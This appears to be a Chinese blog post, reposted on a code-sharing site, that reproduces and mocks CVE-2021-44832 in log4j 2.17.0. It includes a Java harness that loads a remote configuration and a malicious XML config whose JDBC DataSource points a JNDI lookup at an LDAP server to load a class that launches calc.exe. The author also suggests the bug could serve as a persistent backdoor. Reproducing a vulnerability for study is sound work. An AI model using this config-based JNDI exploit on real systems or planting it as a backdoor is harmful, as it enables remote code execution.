CVE-2021-44832 log4j_2.17.0 RCE復現與吐槽


先說一句,這傻x洞能給cve就離譜,大半夜給人喊起來浪費時間看了一個小時。
先說利用條件:
需要加載“特定”的配置文件信息,或者說實際利用中需要能夠修改配置文件(你都能替換配置文件了,還要啥log4j啊)。
然后因為log4j2.17.0已經實際上默認關閉了jndi的使用,還需要對方真的手動打開這個配置才能執行。
實際上約等於本地彈彈計算器的漏洞。
真的能隨便改配置文件,我估計大佬們灑灑水,幾十個RCE沒啥問題。

代碼直接用了發現者給的:
原文鏈接

import java.util.*;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    static {
        System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/config.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    }
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
    }
}

需要遠程加載配置文件,python啟動一個http服務,配置文件內容如下:
image

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://127.0.0.1:1389/Basic/Command/calc.exe" />
            <!--手動替換的配置文件里,通過jndi獲取遠程數據源,加載惡意類-->
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>

成功彈了計算器:
image

debug過程
org.apache.logging.log4j.core.appender.db.jdbc.FactoryMethodConnectionSource(createConnectionSource)
從這往里F7

image

最后用Twitter上老外的一句話結尾:
image
不過有一說一,事后想一想,作為一個持久化的后門還算有點意義。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM